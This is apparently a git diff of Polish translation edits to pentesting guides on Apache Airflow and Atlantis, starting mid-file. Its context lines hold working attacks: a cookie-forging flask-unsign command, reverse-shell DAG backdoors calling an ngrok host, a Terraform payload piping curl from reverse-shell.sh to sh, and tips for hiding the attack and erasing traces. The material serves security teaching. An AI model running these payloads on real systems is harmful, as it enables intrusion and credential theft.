-Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
-Aby uzyskać dostęp do tych wartości z GUI, wystarczy **wybrać zmienne**, do których chcesz uzyskać dostęp i **kliknąć na Akcje -> Eksportuj**.\
+Jednak te **wartości** mogą być nadal **pobierane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
+Aby uzyskać dostęp do tych wartości z GUI, po prostu **wybierz zmienne**, do których chcesz uzyskać dostęp i **kliknij na Akcje -> Eksportuj**.\
 Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz:
 
 ![](<../../images/image (152).png>)
 
 #### Eskalacja uprawnień
 
-Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
+Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownika** i **wyżej** można **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
-#### DAG Backdoor (RCE w Airflow worker)
+#### DAG Backdoor (RCE w kontenerze Airflow)
 
-Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **stworzyć jeden**, który wyśle ci **reverse shell.**\
-Zauważ, że ten reverse shell będzie wykonywany wewnątrz **kontenera airflow worker:**
+Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **utworzyć jeden**, który wyśle ci **reverse shell.**\
+Zauważ, że ten reverse shell zostanie wykonany wewnątrz **kontenera roboczego airflow:**
 ```python
 import pendulum
 from airflow import DAG
@@ -116,9 +116,9 @@ python_callable=rs,
 op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
 )
 ```
-#### DAG Backdoor (RCE w harmonogramie Airflow)
+#### DAG Backdoor (RCE w schedulerze Airflow)
 
-Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez harmonogram** po kilku sekundach od umieszczenia go w folderze DAG.
+Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez scheduler** po kilku sekundach od umieszczenia go w folderze DAG.
 ```python
 import pendulum, socket, os, pty
 from airflow import DAG
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index efbd9996e..f9bf18857 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -6,9 +6,9 @@
 
 **Apache Airflow** generuje **plik konfiguracyjny** na wszystkich maszynach airflow o nazwie **`airflow.cfg`** w katalogu domowym użytkownika airflow. Ten plik konfiguracyjny zawiera informacje konfiguracyjne i **może zawierać interesujące i wrażliwe informacje.**
 
-**Istnieją dwa sposoby dostępu do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.**
+**Są dwa sposoby na dostęp do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.**
 
-Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być używane**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być tymi używanymi**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
 
 Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\
 Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**.
@@ -80,11 +80,11 @@ Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku kon
 - **`cookie_samesite`**: Domyślnie to **Lax**, więc to już najsłabsza możliwa wartość
 - **`cookie_secure`**: Ustaw **flaga zabezpieczeń** na ciasteczku sesyjnym
 - **`expose_config`**: Domyślnie jest False, jeśli prawda, **konfiguracja** może być **odczytana** z **konsoli** internetowej
-- **`expose_stacktrace`**: Domyślnie to True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego)
+- **`expose_stacktrace`**: Domyślnie jest True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego)
 - **`secret_key`**: To jest **klucz używany przez flask do podpisywania ciasteczek** (jeśli to masz, możesz **podszyć się pod dowolnego użytkownika w Airflow**)
-- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu SSL**
-- **`web_server_ssl_key`**: **Ścieżka** do **klucza SSL**
-- **`x_frame_enabled`**: Domyślnie to **True**, więc domyślnie clickjacking nie jest możliwy
+- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu** **SSL**
+- **`web_server_ssl_key`**: **Ścieżka** do **klucza** **SSL**
+- **`x_frame_enabled`**: Domyślnie jest **True**, więc domyślnie clickjacking nie jest możliwy
 
 ### Uwierzytelnianie w sieci
 
@@ -92,13 +92,13 @@ Domyślnie **uwierzytelnianie w sieci** jest określone w pliku **`webserver_con
 ```bash
 AUTH_TYPE = AUTH_DB
 ```
-Co oznacza, że **uwierzytelnianie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak
+Co oznacza, że **uwierzytelnienie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak
 ```bash
 AUTH_TYPE = AUTH_OAUTH
 ```
-Aby pozostawić **uwierzytelnianie zewnętrznym usługom**.
+Aby pozostawić **uwierzytelnianie usługom zewnętrznym**.
 
-Jednak istnieje również opcja **zezwolenia anonimowym użytkownikom na dostęp**, ustawiając następujący parametr na **pożądaną rolę**:
+Jednak istnieje również opcja **zezwolenia na dostęp anonimowym użytkownikom**, ustawiając następujący parametr na **pożądaną rolę**:
 ```bash
 AUTH_ROLE_PUBLIC = 'Admin'
 ```
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index b61bdc9b6..3e6bc8958 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,7 +4,7 @@
 
 ## RBAC
 
-(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarczany jest z **domyślnym zestawem ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról.
+(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarcza **domyślny zestaw ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról.
 
 - **Użytkownicy `Admin`** mają wszystkie możliwe uprawnienia.
 - **Użytkownicy `Public`** (anonimowi) nie mają żadnych uprawnień.
@@ -12,9 +12,9 @@
 - **Użytkownicy `User`** mają uprawnienia `Viewer` oraz dodatkowe uprawnienia użytkownika, które pozwalają im zarządzać DAG-ami w pewnym zakresie. **Mogą zobaczyć plik konfiguracyjny.**
 - **Użytkownicy `Op`** mają uprawnienia `User` oraz dodatkowe uprawnienia operacyjne.
 
-Zauważ, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**.
+Należy zauważyć, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**.
 
-Zauważ również, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić.
+Należy również zauważyć, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić.
 
 ### Domyślne Uprawnienia
 
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 6473fd883..194ad475c 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -2,72 +2,72 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-### Basic Information
+### Podstawowe informacje
 
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis zasadniczo pomaga uruchamiać terraform z Pull Requests z twojego serwera git.
 
 ![](<../images/image (161).png>)
 
-### Local Lab
+### Lokalna laboratoria
 
-1. Przejdź do **strony z wydaniami atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która Ci odpowiada.
+1. Przejdź do **strony wydań atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która ci odpowiada.
 2. Utwórz **osobisty token** (z dostępem do repozytoriów) swojego użytkownika **github**.
 3. Wykonaj `./atlantis testdrive`, a utworzy to **demo repo**, którego możesz użyć do **komunikacji z atlantis**.
 4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141.
 
-### Atlantis Access
+### Dostęp do Atlantis
 
-#### Git Server Credentials
+#### Poświadczenia serwera Git
 
-**Atlantis** wspiera kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
-Jednak, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\
-[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do stworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.
+**Atlantis** obsługuje kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
+Jednak aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\
+[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.
 
 > [!WARNING]
 > W każdym przypadku, z perspektywy atakującego, **konto Atlantis** będzie bardzo **interesujące** **do skompromitowania**.
 
-#### Webhooks
+#### Webhooki
 
-Atlantis opcjonalnie używa [**sekretów webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z Twojego hosta Git, są **legitymne**.
+Atlantis opcjonalnie używa [**sekretów webhooków**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z twojego hosta Git, są **legitymne**.
 
-Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** Twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhook.
+Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhooka.
 
-Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhook na Internet.
+Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhooków do Internetu.
 
 > [!WARNING]
 > Atlantis będzie **wystawiał webhooki**, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, **czy możesz wysyłać mu wiadomości**.
 
-#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
+#### Poświadczenia dostawcy <a href="#provider-credentials" id="provider-credentials"></a>
 
 [Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html)
 
-Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla Twojego konkretnego dostawcy.
+Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak gdy uruchamiasz Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.
 
-To od Ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
+To od ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
 
 - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.
-- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom na nich działającym, np.:
+- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom, które na nich działają, np.:
 - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role")
 - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
 - Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis.
 - Inni tworzą niezbędne pliki konfiguracyjne, np. `~/.aws/credentials`, gdzie działa Atlantis.
-- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) do uzyskania poświadczeń dostawcy.
+- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), aby uzyskać poświadczenia dostawcy.
 
 > [!WARNING]
-> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi zarządza Atlantis za pomocą Terraform.
+> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi Atlantis zarządza za pomocą Terraform.
 
-#### Web Page
+#### Strona internetowa
 
 Domyślnie Atlantis uruchomi **stronę internetową na porcie 4141 w localhost**. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna).
 
-Prawdopodobnie nie znajdziesz jej wystawionej w Internecie, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**).
+Prawdopodobnie nie znajdziesz jej wystawionej do internetu, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**).
 
-### Server Configuration
+### Konfiguracja serwera
 
 Konfiguracja dla `atlantis server` może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.
 
-- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wspieranych przez serwer Atlantis.
-- Możesz znaleźć [**tutaj jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
+- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) obsługiwanych przez serwer Atlantis.
+- Możesz znaleźć [**tutaj, jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
 
 Wartości są **wybierane w tej kolejności**:
 
@@ -78,30 +78,30 @@ Wartości są **wybierane w tej kolejności**:
 > [!WARNING]
 > Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak **tokeny i hasła**.
 
-#### Repos Configuration
+#### Konfiguracja repozytoriów
 
 Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:
 
 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to.
-2. Prawdopodobnie wymagane, aby były dozwolone przez flagi takie jak `allowed_overrides` lub `allow_custom_workflows`.
-3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać ją z flagą `--repo-config` i jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
+2. Prawdopodobnie wymagane do zezwolenia przez flagi, takie jak `allowed_overrides` lub `allow_custom_workflows`.
+3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
 4. **Domyślne** wartości.
 
-**PR Protections**
+**Ochrona PR**
 
 Atlantis pozwala wskazać, czy chcesz, aby **PR** był **`zatwierdzony`** przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był **`możliwy do scalania`** (ochrony gałęzi spełnione) **przed uruchomieniem apply**. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji.
 
 W przypadku, gdy `allowed_overrides` jest True, te ustawienia mogą być **nadpisywane w każdym projekcie przez plik `/atlantis.yml`**.
 
-**Scripts**
+**Skrypty**
 
-Konfiguracja repozytorium może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**.
+Konfiguracja repozytoriów może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**.
 
 Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**.
 
 **Workflow**
 
-W konfiguracji repozytorium (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
+W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
 Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**.
 
 > [!CAUTION]
@@ -124,9 +124,9 @@ Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na
 >   steps: - run: my custom apply command
 > ```
 
-**Conftest Policy Checking**
+**Sprawdzanie polityki Conftest**
 
-Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
+Atlantis obsługuje uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
 
 - Odrzucenie użycia listy modułów.
 - Asercje atrybutów zasobu w czasie tworzenia.
@@ -135,7 +135,7 @@ Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](http
 
 Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
 
-### Atlantis Commands
+### Komendy Atlantis
 
 [**W dokumentacji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) znajdziesz opcje, które możesz użyć do uruchomienia Atlantis:
 ```bash
@@ -172,15 +172,15 @@ atlantis plan -- -lock=false
 ```
 #### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR
 
-Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł RCE wewnątrz serwera Atlantis**.
 
-Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`:
+Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniżej, w pliku `main.tf`:
 ```json
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
-**Cichszy Atak**
+**Cichszy atak**
 
 Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii:
 
@@ -192,7 +192,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego jak: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 - **Zamiast** tworzyć **PR do master**, aby uruchomić Atlantis, **stwórz 2 gałęzie** (test1 i test2) i stwórz **PR z jednej do drugiej**. Gdy zakończysz atak, po prostu **usuń PR i gałęzie**.
 
 #### Atlantis plan Secrets Dump
@@ -205,7 +205,7 @@ value = nonsensitive(var.do_token)
 ```
 #### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR
 
-Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
 
 Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:
 
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
 atlantis apply -- <terraform commands>
 atlantis apply -- -h #Get terraform apply help
 ```
-Co możesz przekazać, to zmienne env, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne env terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Co możesz przekazać, to zmienne środowiskowe, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne środowiskowe terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
 
 #### Niestandardowy Workflow
 
@@ -251,9 +251,9 @@ Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w
 Ta możliwość została wspomniana w poprzedniej sekcji:
 
 > [!CAUTION]
-> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
+> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało także **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
 >
-> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**.
+> To zasadniczo da **RCE na serwerze Atlantis każdemu użytkownikowi, który ma dostęp do tego repo**.
 >
 > ```yaml
 > # atlantis.yaml
@@ -284,7 +284,7 @@ apply_requirements: []
 
 Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz.
 
-Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego dodawane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
+Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
 
 To jest **ustawienie** w ochronach gałęzi Github:
 
@@ -292,7 +292,7 @@ To jest **ustawienie** w ochronach gałęzi Github:
 
 #### Webhook Secret
 
-Jeśli uda ci się **ukraść sekret webhooka** używanego lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlantis** bezpośrednio.
+Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlatis** bezpośrednio.
 
 #### Bitbucket
 
@@ -321,7 +321,7 @@ Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkic
 
 #### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
 
-Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z ich forka do twojego repozytorium.
+Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z własnego forka do twojego repozytorium.
 
 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
 
@@ -336,17 +336,17 @@ Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoria
 
 #### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
 
-Jeśli atakujący składają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.
+Jeśli atakujący przesyłają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.
 
